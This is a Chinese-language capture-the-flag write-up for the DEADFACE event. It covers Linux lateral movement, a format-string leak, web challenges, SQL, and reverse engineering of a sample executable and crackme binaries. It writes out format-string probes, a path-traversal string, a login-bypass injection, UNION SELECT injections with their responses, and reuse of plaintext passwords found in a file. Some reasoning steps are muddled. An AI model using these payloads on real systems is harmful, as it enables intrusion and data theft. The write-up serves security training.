一、LET ME IN
1、找hostbusters1、hostbusters2
这个题前面这两个比较简单就没有截图
~/tools $ grep -r "deadface" / 2>/dev/null
/home/gh0st404/.ash_history:sh subrecon.sh hostbusters.deadface.io
/home/gh0st404/.ash_history:cd recon_hostbusters.deadface.io/
/home/gh0st404/.ash_history:sh subrecon.sh deadface.io
/home/gh0st404/.ash_history:cd recon_deadface.io/
/home/gh0st404/.ash_history:sh techfinger.sh recon_deadface.io/subs_2025-10-26_0733.txt
/home/gh0st404/.ash_history:cat techfinger_*.txt | grep "deadface{"
/home/gh0st404/.ash_history:grep -r "deadface" / 2>/dev/null
/home/gh0st404/.dont_forget:deadface{hostbusters2_4685d0c801939781}
/home/gh0st404/notes.txt:deadface{hostbusters1_cf6a12ddf781cfbc}
2、找hostbusters4

flag 就在环境变量里
~/tools $ env | grep -i deadface
OLDPWD=/home/gh0st404/tools/recon_deadface.io
flag=deadface{hostbusters4_c6e54afa62741d34}
3、横向移动到用户
deephax,并找到他的 shell 环境中的 flag
deephax

用户 和
ghost404 在 GhostTown 上聊过
deephax
的默认 shell 是
deephax
pen-console.py
把密码给了
deephax
ghost404
检查历史记录:
~/tools $ cat /home/ghost404/.ash_history
cat: can't open '/home/ghost404/.ash_history': No such file or directory
检查当前目录和上级目录:
~/tools $ ls -la /home/ghost404/
ls: /home/ghost404/: No such file or directory
当前用户是 gh0st404,不是 ghost404
检查当前用户家目录:
~/tools $ ls -la /home/gh0st404/
total 32
drwxr-sr-x 1 gh0st404 gh0st404 4096 Oct 26 06:39 .
drwxr-xr-x 1 root root 4096 Sep 17 02:04 ..
-rw------- 1 gh0st404 gh0st404 3327 Oct 26 08:02 .ash_history
-rw-r--r-- 1 gh0st404 gh0st404 382 Sep 17 02:04 .dont_forget
-rw-r--r-- 1 gh0st404 gh0st404 1850 Sep 17 02:04 notes.txt
drwxr-sr-x 1 gh0st404 gh0st404 4096 Oct 26 07:37 tools
查看了一下notes.txt、.ash_history、.dont_forget
~/tools $ cat /home/gh0st404/.dont_forget
random junk, don’t lose this file (again)
[personal]
Gh0st!v3r$e_404
0nly_Sh4d0w_Kn0ws
n0scopez420!
[tools]
- burp: waf_slayer$$
- metasploit: c0d3BReaKer!
- vpn (alt): 4sh3s2dust_
[misc]
- music: s1lent_echoes
- github: b4ckd00rRabb1t
- deephax pen: Fr4gm3ntedSkull!!
# note to self: change the pen one (again)
deadface{hostbusters2_4685d0c801939781}
[misc] 部分有:
- deephax pen: Fr4gm3ntedSkull!!
切换为deephax用户登录,查看pen-console.py
/home/deephax $ cat /usr/local/bin/pen-console.py 2>/dev/null
#!/usr/bin/python3
import cmd
import os
import hashlib
import base64
import subprocess
from cryptography.fernet import Fernet # you need this: pip install cryptography
flag="deadface{hostbusters5_e16a5c8995620a24}"
class DeephaxConsole(cmd.Cmd):
intro = "YO welcome to deephax’s red team console 🔥 type 'help' for commands or whatever. let’s HAX! 💀"
prompt = '(deephax)> '
def do_hash(self, arg):
"""hash <string>: gimme a string, i spit hashes back at ya."""
if not arg:
print("bruh... gimme sumthin to hash!! 😤")
return
print(f"MD5: {hashlib.md5(arg.encode()).hexdigest()}")
print(f"SHA1: {hashlib.sha1(arg.encode()).hexdigest()}")
print(f"SHA256: {hashlib.sha256(arg.encode()).hexdigest()}")
def do_encrypt(self, arg):
"""encrypt <message>: encrypts ur message wit Fernet 🔐"""
if not arg:
print("what u tryna lock up? type somethin! 🗝️")
return
key = Fernet.generate_key()
cipher = Fernet(key)
encrypted = cipher.encrypt(arg.encode())
print(f"here's ur key (DON'T LOSE IT): {key.decode()}")
print(f"and here’s ur encrypted junk: {encrypted.decode()}")
def do_decrypt(self, arg):
"""decrypt <key> <ciphertext>: unlock secrets 🕵️♂️"""
args = arg.split()
if len(args) != 2:
print("use it like: decrypt <key> <ciphertext>")
return
try:
cipher = Fernet(args[0].encode())
decrypted = cipher.decrypt(args[1].encode()).decode()
print(f"BOOM decrypted: {decrypted}")
except Exception as e:
print(f"that ain’t workin fam 😓 err: {e}")
def do_base64(self, arg):
"""base64 <encode|decode> <data>: 4 all ur b64 nonsense"""
args = arg.split(maxsplit=1)
if len(args) != 2:
print("bruh use it like: base64 <encode|decode> <data>")
return
mode, data = args[0], args[1]
if mode == 'encode':
print(base64.b64encode(data.encode()).decode())
elif mode == 'decode':
try:
print(base64.b64decode(data.encode()).decode())
except Exception as e:
print(f"b64 decode borked: {e}")
else:
print("nah man, u gotta say 'encode' or 'decode'. not both. not neither.")
def do_recon(self, arg):
"""recon <ip>: run nmap on an IP 🛰️"""
if not arg:
print("yo i need an IP 😑")
return
try:
result = subprocess.run(['nmap', '-sV', arg], capture_output=True, text=True)
print(result.stdout)
except FileNotFoundError:
print("nmap ain't even installed??? WACK.")
except Exception as e:
print(f"recon died 😵 err: {e}")
def do_forensics(self, arg):
"""forensics <file>: do sum CSI junk on a file 🔍"""
if not arg:
print("what file u want me 2 peek at? 👀")
return
if not os.path.exists(arg):
print("dude... that file don’t even EXIST 💀")
return
size = os.path.getsize(arg)
file_type = subprocess.run(['file', arg], capture_output=True, text=True).stdout.strip()
with open(arg, 'rb') as f:
content = f.read()
sha256 = hashlib.sha256(content).hexdigest()
print(f"Size: {size} bytes")
print(f"Type: {file_type}")
print(f"SHA256: {sha256}")
def do_quit(self, arg):
"""yeet outta this console."""
print("PEACE OUT - deephax out ✌️")
return True
if __name__ == '__main__':
DeephaxConsole().cmdloop()
4、Pulse Check

检查网络连接及对应进程
~ $ ps auxww
PID USER TIME COMMAND
1 gh0st404 0:00 /bin/sh
7 root 0:00 /usr/bin/dfcheckalive
10 gh0st404 0:00 ps auxww
可疑的进程:7 root 0:00 /usr/bin/dfcheckalive
直接查看内容
~ $ cat /usr/bin/dfcheckalive
从 strings 输出中可以看到程序是 DEADFACE 'Alive' Reporter,而且有一个 JSON 输出格式
{"status":"alive","flag":"%s","host":{"hostname":"%s","ip":"%s","disk_gb":%lld,"mem_gb":%lld}}
直接运行 /usr/bin/dfcheckalive 看看输出什么
~ $ /usr/bin/dfcheckalive
Starting DEADFACE 'Alive' Reporter (dfcheckalive)...
Sending host status JSON to 127.0.0.1:4343 every 5 seconds.
程序正在向 127.0.0.1:4343 发送包含 flag 的 JSON 数据,我们需要监听这个端口来捕获它发送的数据。
后面尝试监听过程中发现是UDP
那么流程就是,一个终端运行
nc -u -l -p 4343
然后在另一个终端运行
/usr/bin/dfcheckalive
即可拿到flag 具体是什么样子的忘了记录了
二、Echo Chamber
1、利用漏洞获取隐藏的 flag

首先我尝试使用DEBUG,但是没有触发调试模式,而是被当作普通消息回显了
└─# nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: DEADFACE Echo flag
Echo: DEADFACE Echo flag
接着我尝试输入%DEBUG%、${DEBUG}等等都不行
可能这个服务的漏洞是其他类型的,题目描述:
“It echoes messages without sanitizing input, potentially leaking sensitive data.”
这可能意味着:
格式化字符串漏洞 – 在C语言程序中常见
缓冲区溢出信息泄露 – 通过超长输入泄露栈数据
某种注入导致信息泄露 – 但不是直接命令执行
└─# nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: %p %p %p %p %p %p %p %p
Echo: 0x402000 0x402000 0 0x7fffffff 0 0x7025207025207025 0x2520702520702520 0xa70252070252070
�@
可以看到输出了很多十六进制值,而不是原样显示从输出中我们可以看到内存地址
%p %p %p...
└─# nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx
Echo: 402000 402000 0 7fffffff 0 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 20786c2520786c25 a786c2520786c25 0 0 1c 20 1 7ffc9b8f93b8 40119d 7ffc9b8f93c8 0 7ffc9b8f93b0
我们看到了更多有意义的内存数据。在最后几个位置,我们看到了一些不同的值:
... 0 0 1c 20 1 7ffc9b8f93b8 40119d 7ffc9b8f93c8 0 7ffc9b8f93b0
这些看起来像是栈指针、返回地址等。那么尝试读取字符串而不是指针,成功拿到flag
└─# nc echochamber.deadface.io 13337
DEADFACE Echo Chamber
Enter your message: %1$s
Echo: deadface{r3tr0_f0rm4t_l34k_3xp0s3d}
这是一个典型的格式字符串漏洞:
程序直接使用用户输入作为 的第一个参数
printf()
没有使用安全的 格式
printf("%s", input)
导致用户可以通过格式说明符读取栈内存
flag存储在第一个参数位置(可能是环境变量或全局变量)
三、WEB
1、获取交易金额

进入页面后查看源码等,可以找到一个重要线索:denonne_backup_20251015.sql
/backup/进入后有个
这个sql中有完整的用户凭证,使用admin登录拿到交易金额
2、The Source of Our Troubles

题目给了zip,里边是一个pdf,从中我们可以知道关键信息:数据库表结构、技术栈提示、安全措施等
payload:?page=../../../../etc/passwd
响应
<main class="container">
<section class="hero">
<h2>Welcome to Night Vale University</h2>
<p>Where the impossible becomes possible, and the possible becomes mandatory.</p>
<!-- EASY FLAG: HTML comment -->
<!-- Congratulations on viewing the source! Here's your flag: deadface{v13w_s0urc3_4lw4ys_f1rst} -->
</section>
成功拿到flag
3、Hidden Paths

“允许网络爬虫访问的目录”通常是通过 文件来声明的。
robots.txt
会告诉爬虫哪些路径可以访问,哪些不能。
robots.txt
DEADFACE 可能利用这个文件发现了隐藏路径,并在那里留下了 flag。
直接访问 ,成功拿到flag
robots.txt
# Night Vale University - robots.txt
# VULNERABILITY: Information disclosure via robots.txt (Easy)
User-agent: *
Disallow: /admin.php
Disallow: /api/
Disallow: /backup/
Disallow: /config/
Disallow: /.git/
Disallow: /secret_files/
# Flag: deadface{r0b0ts_txt_r3v34ls_h1dd3n_p4ths}
# Development endpoints (should be removed in production)
Disallow: /api/debug.php
Disallow: /phpinfo.php
# Sitemap
Sitemap: https://nvu.edu/sitemap.xml
4、Console Chaos

既然已经说了“确保 NVU 清理了代码库中的注释”,说明可能在前端代码(HTML、CSS、JavaScript)的注释中留有敏感信息或 flag。
需要检查:
HTML 注释(我们已经找到一个 flag 在首页 HTML 注释中)
JavaScript 文件注释
CSS 文件注释
浏览器控制台输出(可能 JS 会在控制台打印 flag)
经过查看js成功拿到flag
// Console Easter egg (Easy difficulty)
console.log('%cWelcome to Night Vale University Portal', 'color: #ea6fba; font-size: 20px; font-weight: bold;');
console.log('%cDevelopers: Check the Network tab for interesting API endpoints...', 'color: #fcd63e; font-size: 14px;');
console.log('%cFlag for curious developers: deadface{c0ns0l3_l0gs_4r3_y0ur_fr13nd}', 'color: #2c1c5c; background: #fcd63e; padding: 5px; font-size: 12px;');
5、Stick to the Scrip

明确指向我们刚才发现的被混淆/编码的代码
在 中,我们看到了这一行:
script.js
// ZGVhZGZhY2V7ajR2NHNjcjFwdF9jNG5faDFkM19zM2NyM3RzfQ==
进行base64解码成功即可拿到flag
6、 Pest Control

通过读题我们发现这个是关于 API 信息泄露的,我们已有的信息
在 中我们看到了这些 API 相关提示:
script.js
const API_CONFIG = {
endpoint: '/api/v1',
apiKey: 'NVU_API_K3Y_d34df4c3_2025',
debug: true
};
// Console 中的提示:
console.log('%cTry: /api/debug.php?show=config', ...);
console.log('%cAlso check: /api/search.php?q=test&type=announcements', ...);
在 中看到
robots.txt
Disallow: /api/
Disallow: /api/debug.php
那么我们可以直接访问/api/debug.php?show=config
/api/debug.php?show=config
{
"status": "success",
"message": "Debug configuration retrieved",
"data": {
"app_version": "2.1.4",
"php_version": "8.1.33",
"server": "Apache/2.4.65 (Debian)",
"database": {
"host": "db",
"name": "nvu_portal",
"user": "nvu_user"
},
"flag": "deadface{4p1_d3bug_3xp0sur3_l34ks}",
"paths": {
"root": "/var/www/html",
"script": "/var/www/html/api/debug.php"
}
}
}
可以看到flag已经拿到了
7、Access Granted

这个就是要求我们通过认证漏洞登录系统,直接上admin' or '1'='1结果直接进去了,登录成功后直接拿到flag
8、Reverse Course

要求我们找到已被删除的 Emergency Admin 用户账户的密码,虽然说已经删除但是可能还有痕迹,可能位置:数据库备份文件、日志文件、配置文件、git历史记录、注释或者测试的数据等
先尝试一下直接访问 ('emergency_admin', MD5('EmergencyAccess2025!')这个密码就是flag
/backup/,访问后发现有一个db_backup_20251015.sql,将这个文件直接下载打开后可以看到
9、Not-So-Public Domain

要求我们找到被管理员隐藏的公告中的 flag,从pdf中知道 表有
announcements 字段(0=显示,1=隐藏),从数据库备份中有一条
is_hidden 的公告,不出意外这应该是个sql注入
is_hidden = 1
经过不断尝试找到注入点search.php?q
构造payload:?q=Welcome%20AND%20(SELECT%20COUNT(*)%20FROM%20announcements%20WHERE%20content%20LIKE%20%27%25flag%25%27)%3E0--&type=announcements
响应
{
"status": "error",
"message": "Search failed",
"error": "SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%flag%')>0--%' AND is_hidden = 0' at line 1",
"debug_info": "Check that your UNION query has the same number of columns as the main query"
}
确认了 SQL 注入 - 我们的输入被直接拼接到查询中
看到了查询结构 - 查询中有 AND is_hidden = 0 条件
看到了语法问题 - 单引号被转义或处理了
继续构造新的payload:
?q=%27%20UNION%20SELECT%20title,content,author,posted_at%20FROM%20announcements%20WHERE%20is_hidden=1%20--%20&type=announcements
响应信息中有
{
"title": "Restricted Access Notice",
"content": "FLAG: deadface{h1dd3n_4nn0unc3m3nts_r3v34l_s3cr3ts}",
"author": "System Administrator",
"posted_at": "2025-10-25 18:26:37"
},
成功了
10、Classified

要求我们找到分类研究数据中的 flag,已知: 有
research_projects 字段(1=分类,0=非分类)、页面显示有分类研究但需要特殊授权
classified
直接构造payload:
?q=%27%20UNION%20SELECT%20project_name,details,lead_researcher,classified%20FROM%20research_projects%20WHERE%20classified=1%20--%20&type=announcements
响应信息中有
{
"title": "Neural Interface Technology",
"content": "FLAG: deadface{cl4ss1f13d_r3s34rch_unh4ck4bl3} - Advanced brain-computer interface development with military applications",
"author": "Dr. Patricia Wong",
"posted_at": "1"
},
成功拿到flag
后面还有不少题,忙着做题忘了记录了(手动狗头)
三、SQL
这个比较简单我就不啰嗦了,直接上答案
1、Promo Code

SELECT COUNT(*)
FROM customers
WHERE join_date >= '2025-09-01';
2、5 Stars

SELECT p.product_name, AVG(r.rating) as avg_rating
FROM reviews r
JOIN products p ON r.product_id = p.product_id
GROUP BY r.product_id, p.product_name
ORDER BY avg_rating DESC
LIMIT 1;
3、Low Stock

SELECT p.product_name, i.facility_id, i.quantity
FROM inventories i
JOIN products p ON i.product_id = p.product_id
WHERE i.quantity < 5
ORDER BY i.quantity ASC
LIMIT 1;
4、Big Spender

SELECT
c.first_name,
c.last_name,
SUM(oi.quantity * p.price) as total_spent
FROM customers c
JOIN orders o ON c.customer_id = o.customer_id
JOIN order_items oi ON o.order_id = oi.order_id
JOIN products p ON oi.product_id = p.product_id
GROUP BY c.customer_id, c.first_name, c.last_name
ORDER BY total_spent DESC
LIMIT 1;
5、Undervalued

SELECT e.email
FROM employees e
JOIN employee_assignments ea ON e.employee_id = ea.employee_id
WHERE ea.facility_id = 5
AND e.role = 'IT Manager';
6、Silent Buyers

SELECT c.email, COUNT(o.order_id) as order_count
FROM customers c
JOIN orders o ON c.customer_id = o.customer_id
WHERE c.customer_id NOT IN (
SELECT DISTINCT customer_id
FROM reviews
)
GROUP BY c.customer_id, c.email
ORDER BY order_count DESC
LIMIT 1;
7、High Value Targets

SELECT SUM(pay_rate) as total_pay
FROM employees
WHERE role IN ('CEO', 'CTO', 'CFO');
四、Trojan Echoes
1、What's the Password?

这个就是下载后有一个zip,然后这个zip需要密码,考虑到一般来说ctf的这个密码不会很难,我就用
infected试了一下
└─# 7z x -pinfected Trojan.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=zh_CN.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 20130 bytes (20 KiB)
Extracting archive: Trojan.zip
--
Path = Trojan.zip
Type = zip
Physical Size = 20130
Everything is Ok
Files: 2
Size: 62207
Compressed: 20130
可以确定密码就是infected,解压后有两个文件flag.txt和sample_01E9.exe.exe
└─# cat flag.txt
flag 00 - deadface{Hello_my_friend}
成功拿到
2、String Theory

flag00在flag.txt中,那么这个flag01应该就是在sample_01E9.exe.exe中
直接查一下
└─# strings sample_01E9.exe.exe | grep -i flag01
并没有输出,既然格式为deadface,那么
└─# strings -a -n 6 sample_01E9.exe.exe | grep -i "deadface"
01 - deadface{
果然看到了一部分,可能因为换行截断,我们看看上下文
└─# strings -a -n 4 sample_01E9.exe.exe | grep -A2 -B2 "deadface"
D$`L
L$hH
01 - deadface{
We_meet
_again}
成功拿到
3、Watch the Birdie

前两题中 flag00 在 ,flag01 在程序字符串里,那么这个flag02应该是在更深的地方,比如说:程序的资源段(图片、图标等)、附加在PE文件末尾的数据、程序运行时生成或下载的内容、需要特定条件触发
flag.txt
1、先快速搜字符串后没有发现
└─# strings -a sample_01E9.exe.exe | grep -i "flag02"
2、用 binwalk 分析嵌入文件,没有提取出东西,说明没有常见嵌入文件格式
└─# binwalk -e --run-as=root sample_01E9.exe.exe
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
WARNING: One or more files failed to extract: either no utility was found or it's unimplemented
3、检查 PE 资源(图标、图片等),不是标准图标文件
└─# icotool -l sample_01E9.exe.exe
sample_01E9.exe.exe: not an icon or cursor file (reserved non-zero)
4、列出资源,没有标准资源
└─# wrestool -l sample_01E9.exe.exe
wrestool: sample_01E9.exe.exe: file contains no resources
没有标准资源。那 flag02 可能藏在:
PE 文件的证书段
重叠数据(Overlay) —— 在 PE 文件末尾附加的数据
需要运行时才解密显示
在程序的某个特定状态触发(比如输入特定命令)
5、检查重叠数据,没有重叠数据。
└─# rabin2 -n sample_01E9.exe.exe | grep -i overlay
6、用 radare2 全面分析
└─# r2 sample_01E9.exe.exe
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x004014e0]> iz~deadface
0 0x00003000 0x00405000 14 15 .rdata ascii 01 - deadface{
[0x004014e0]>
7、用 hex 模式查看并手动拼接,在 0x405050 附近有一些看起来像 base64 的字符串:aWxl.bl9h.dHNf.LSBk
[0x004014e0]> px 100 @ 0x00405000
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00405000 3031 202d 2064 6561 6466 6163 657b 0057 01 - deadface{.W
0x00405010 655f 6d65 6574 005f 6167 6169 6e7d 0059 e_meet._again}.Y
0x00405020 6f75 2077 616e 7465 6420 7468 6973 2074 ou wanted this t
0x00405030 6f20 6265 2065 6173 793f 0055 5345 5250 o be easy?.USERP
0x00405040 524f 4649 4c45 005c 666c 6167 2e74 7874 ROFILE.flag.txt
0x00405050 0061 5778 6c00 626c 3968 0064 484e 6600 .aWxl.bl9h.dHNf.
0x00405060 4c53 426b LSBk
[0x004014e0]>
8、找入口点,入口点:AddressOfEntryPoint : 0x14e0
[0x004014e0]> iH //这里内容太多我就不粘过来了
9、查看调用这些字符串的函数,找到了主函数
[0x004014e0]> pd 50 @ 0x4014e0
10、继续查看主函数的代码,不断查看主函数代码,看程序如何拼接这些片段,从代码可以看到它使用 strcat 来拼接这些 base64 字符串
[0x004014e0]> pd 100 @ 0x401550
[0x004014e0]> pd 50 @ 0x4017a0
11、从代码可以看到拼接顺序是:
MDIg (0x40507e) - 02
LSBk (0x405060) - d
ZWFk (0x40506f) - ead
ZmFj (0x405065) - fac
ZXtJ (0x40506a) - e{I
dHNf (0x40505b) - ts_
YmVl (0x405074) - bee
bl9h (0x405056) - n_a
X3do (0x405079) - _wh
aWxl (0x405051) - ile
fQ== (0x405083) - }
按程序中的顺序拼接这些 base64 字符串:
MDIgLSBkZWFkZmFjZXtJdHNfYmVlbl9hX3doaWxl
12、解码
└─# echo "MDIgLSBkZWFkZmFjZXtJdHNfYmVlbl9hX3doaWxl" | base64 -d
02 - deadface{Its_been_a_while
成功拿到flag
4、Lingering Shadow

从之前的分析中,我们看到有两组 base64 片段,第一组是flag02,那么很有可能这个第二组就是flag03
查看程序如何处理第二组 base64 片段
[0x004014e0]> pd 50 @ 0x4017a0
第二组片段的拼接顺序
从代码 0x401b19 到 0x401c1c,拼接顺序是:
MDMg (0x4050da) - 03
LSBk (0x405060) - d (重用第一组的)
ZWFk (0x40506f) - ead (重用第一组的)
ZmFj (0x405065) - fac (重用第一组的)
ZXtX (0x4050c1) - e{W
aGVy (0x4050bc) - her
ZV9z (0x4050c6) - e_s
aG91 (0x4050b7) - hou
bGRf (0x4050d5) - ld_
d2Vf (0x4050cb) - we_
YmVn (0x4050d0) - beg
aW59 (0x4050df) - in}
按程序中的顺序拼接:
MDMgLSBkZWFkZmFjZXtXaGVyZV9zaG91bGRfd2VfYmVnaW59
进行解码
└─# echo "MDMgLSBkZWFkZmFjZXtXaGVyZV9zaG91bGRfd2VfYmVnaW59" | base64 -d
03 - deadface{Where_should_we_begin}
成功拿到flag03
5、The Call From Beyond

通过前面的做题,这个flag04可能还在程序的后边,继续查看
看主函数后面还有什么代码
[0x004014e0]> pd 100 @ 0x401c6c
可以看到程序在处理一系列十六进制编码的字符串(如 /4c/53, /5a/58 等)。
从代码中可以看到拼接顺序:
/4d/44 = 4d 44 = M D (ASCII)
/51/67 = 51 67 = Q g
/4c/53 = 4c 53 = L S
/42/6b = 42 6b = B k
/5a/57 = 5a 57 = Z W
/46/6b = 46 6b = F k
/5a/6d = 5a 6d = Z m
/46/6a = 46 6a = F j
/5a/58 = 5a 58 = Z X
/74/47 = 74 47 = t G
/5a/57 = 5a 57 = Z W
/56/73 = 56 73 = V s
/63/31 = 63 31 = c 1
按代码中的顺序拼接这些十六进制值:
4d44514c53426b5a57466b5a6d466a5a5874475a5756736331
进行解码
└─# echo "4d44514c53426b5a57466b5a6d466a5a5874475a5756736331" | xxd -r -p
MDQLSBkZWFkZmFjZXtGZWVsc1
看起来像是base64,继续解码
└─# echo "MDQLSBkZWFkZmFjZXtGZWVsc1" | base64 -d
04
HXY�X�^љY[base64: 无效的输入
解码失败,说明字符串不完整或者格式不对,继续查看程序代码看看是否后边还有拼接
[0x004014e0]> pd 100 @ 0x401ecc
从代码中可以看到完整的拼接顺序:
/4d/44 = 4d 44 = M D
/51/67 = 51 67 = Q g
/4c/53 = 4c 53 = L S
/42/6b = 42 6b = B k
/5a/57 = 5a 57 = Z W
/46/6b = 46 6b = F k
/5a/6d = 5a 6d = Z m
/46/6a = 46 6a = F j
/5a/58 = 5a 58 = Z X
/74/47 = 74 47 = t G
/5a/57 = 5a 57 = Z W
/56/73 = 56 73 = V s
/63/31 = 63 31 = c 1
/39/73 = 39 73 = 9 s
/61/57 = 61 57 = a W
/74/6c = 74 6c = t l
/58/32 = 58 32 = X 2
/5a/76 = 5a 76 = Z v
/63/6d = 63 6d = c m
/56/32 = 56 32 = V 2
/5a/58 = 5a 58 = Z X
/4a/39 = 4a 39 = J 9
按顺序拼接所有十六进制值:
4d44514c53426b5a57466b5a6d466a5a5874475a575673633139736157746c58325a76636d56325a584a39
解码
└─# echo "4d44514c53426b5a57466b5a6d466a5a5874475a575673633139736157746c58325a76636d56325a584a39" | xxd -r -p
MDQLSBkZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9
我们得到了完整的 base64 字符串:MDQLSBkZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9
继续解码
└─# echo "MDQLSBkZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9" | base64 -d
04
HXY�X�^љY[��▒Z�Wٛܙ]��base64: 无效的输入
base64 解码有问题,仔细看一下这个字符串,MDQL 解码为 04 + 一些乱码,后面 ZWFkZmFjZXtG 看起来像 deadface{F
尝试一下提取字符串中可以看到明显的模式:ZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9,解码试一下
└─# echo "ZWFkZmFjZXtGZWVsc19saWtlX2ZvcmV2ZXJ9" | base64 -d
eadface{Feels_like_forever}
成功拿到flag04
五、Reversering
1、ck01-2025-rev03.bin
题目忘了截图了,给了一个ck01-2025-rev03.bin文件,要求是拿到目标的md5进行解码,我是用gdb进行的调试
在MD5比较断点处,确认目标MD5的具体字节值
(gdb) del
Delete all breakpoints, watchpoints, tracepoints, and catchpoints? (y or n) y
(gdb) break *0x5555555553bf # MD5比较点
Breakpoint 4 at 0x5555555553bf
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Desktop/ck01-2025-rev03.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
This year, AI moguls are asking their LLMs which spooky cereal is best!
Mr. Sam Altman. has a favorite spooky cereal. Tear apart this
binary and see if you can figure out what it is!
Please enter the password: AAAAA
Breakpoint 4, 0x00005555555553bf in main () # 程序会在比较点停止,接着检查目标MD5
(gdb) x/16xb $rsp+0xb0
0x7fffffffdb60: 0xae 0xe1 0xee 0x52 0x62 0x75 0x7c 0xf6
0x7fffffffdb68: 0x7b 0x61 0x9f 0xf6 0x3e 0x96 0x72 0xb6
(gdb) x/16xb $rsp+0xa0
0x7fffffffdb50: 0xf6 0xa6 0x26 0x31 0x67 0xc9 0x2d 0xe8
0x7fffffffdb58: 0x64 0x4a 0xc9 0x98 0xb3 0xc4 0xe4 0xd1
(gdb)
目标MD5值:aee1ee5262757cf67b619ff63e9672b6
破解这个md5即可得到flag
peanutbuttercrunch
2、reverse_2
这个也是给了程序reverse_2,程序运行啥的忘了记录了
└─# gdb ./reverse_2
GNU gdb (Debian 16.3-5) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./reverse_2...
(No debugging symbols found in ./reverse_2)
(gdb) b main
Breakpoint 1 at 0x400781
(gdb) run
Starting program: /home/kali/Desktop/reverse_2
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000000000400781 in main ()
(gdb) c
Continuing.
[Detaching after fork from child process 1510]
input the flag:1
wrong flag!
input the flag:1
wrong flag!
[Inferior 1 (process 1507) exited with code 014]
(gdb) del
Delete all breakpoints, watchpoints, tracepoints, and catchpoints? (y or n) y
(gdb) b strcmp
Breakpoint 2 at gnu-indirect-function resolver at 0x7ffff7e593f0
(gdb) run
Starting program: /home/kali/Desktop/reverse_2
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Detaching after fork from child process 1512]
input the flag:1
wrong flag!
input the flag:2
Breakpoint 2, 0x00007ffff7f33d50 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) x/s $rsi
0x7fffffffe070: "2"
(gdb) x/s $rdi
0x601080 <flag>: "{hacking_for_fun}"
(gdb) x/s $rsi
0x7fffffffe070: "2"
我当时看到了
{hacking_for_fun},结果提交之后发现不对,应该是子程序或是什么进行了更改
看 main 函数的汇编代码
(gdb) disas main
发现了一个问题
0x0000000000400795 <+24>: call 0x400680 <fork@plt> ; 创建子进程
0x00000000004007a1 <+36>: jne 0x4007f3 <main+118> ; 父进程跳转
; 子进程执行的代码 (0x4007a3 - 0x4007f1):
; 这个循环修改了 flag 的内容!
0x00000000004007b8 <+59>: cmp $0x69,%al ; 比较字符 'i' (0x69)
0x00000000004007ba <+61>: je 0x4007cc <main+79> ; 如果是 'i' 则跳转
0x00000000004007c8 <+75>: cmp $0x72,%al ; 比较字符 'r' (0x72)
0x00000000004007ca <+77>: jne 0x4007d8 <main+91> ; 如果不是 'r' 则跳转
0x00000000004007d1 <+84>: movb $0x31,0x601080(%rax) ; 将字符替换为 '1' (0x31)
设置好断点再来一次
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>print (char)($al)
>x/s 0x601080
>c
>end
(gdb) run
Starting program: /home/kali/Desktop/reverse_2
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Attaching after Thread 0x7ffff7dae740 (LWP 1607) fork to child process 1610]
[New inferior 2 (process 1610)]
[Detaching after fork from parent process 1607]
[Inferior 1 (process 1607) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Switching to Thread 0x7ffff7dae740 (LWP 1610)]
Thread 2.1 "reverse_2" hit Breakpoint 1, 0x00000000004007d1 in main ()
$1 = 5 '05'
0x601080 <flag>: "{hacking_for_fun}"
Thread 2.1 "reverse_2" hit Breakpoint 1, 0x00000000004007d1 in main ()
$2 = 11 'v'
0x601080 <flag>: "{hack1ng_for_fun}"
input the flag:
第一次断点:字符 '05',flag 仍然是 {hacking_for_fun}
第二次断点:字符 'v' (11),flag 变为 {hack1ng_for_fun}
这说明:
第一个 'i' (在 "hacking" 中) 被替换为了 '1'
但是 'r' (在 "for" 中) 还没有被替换
后面继续执行发现没有再被替换了
那么这个flag就是{hack1ng_for_fun}